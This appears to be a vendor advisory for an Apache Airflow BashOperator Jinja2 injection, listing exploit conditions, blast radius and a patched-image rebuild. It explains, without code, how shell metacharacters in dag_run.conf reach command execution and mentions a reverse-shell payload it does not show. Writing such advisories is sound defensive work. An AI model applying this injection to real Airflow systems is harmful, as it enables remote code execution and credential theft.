CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Synopsis

This is a template-injection vulnerability in Apache Airflow's BashOperator, affecting versions 3.0.0 through 3.2.1. Airflow's official documentation showed an unquoted Jinja2 template pattern for passing DAG run configuration into shell commands; any authenticated user with the Dag.can_trigger permission can exploit this by supplying shell metacharacters in the conf field of the trigger API, reaching an os.exec call on the Airflow worker. Successful exploitation gives the attacker remote code execution on the worker node, with full read and write access to everything that process can reach. A patched-image rebuild at version 3.2.2 is available on HarborGuard for affected environments.

HarborGuard Coverage

Exploit Conditions

• Network reachabilityRequired

  The attacker must reach the Airflow trigger API over the network; the CVSS vector specifies AV:N, meaning no local or physical access is required.

• AuthenticationNot required

  No authentication credential is needed at the network level (PR:N); however, the vulnerability description notes that a valid Dag.can_trigger permission is required in practice, meaning any account holding that permission is sufficient.

• Victim interactionNot required

  The attacker submits a malicious conf payload directly to the trigger API; no other user needs to take any action for exploitation to succeed (UI:N).

• Attack complexityDetail

  Attack complexity is Low (AC:L), meaning the exploit is reliable and requires no race conditions, special memory layout, or environmental pre-conditions beyond having network access to the trigger endpoint.

Blast Radius

• The attacker executes arbitrary shell commands on the Airflow worker process, gaining the same OS-level access as the airflow user running that worker.
• Confidential data accessible to the worker (DAG source code, connection credentials stored in the Airflow metadata database, environment variables, and mounted secrets) can be read directly.
• The attacker can write to any path the worker process owns, including DAG files, logs, and shared volumes, allowing persistent modification of pipeline definitions.
• Outbound network connections from the worker (as demonstrated by the reverse-shell payload in the description) allow the attacker to pivot to other internal services reachable from the worker network.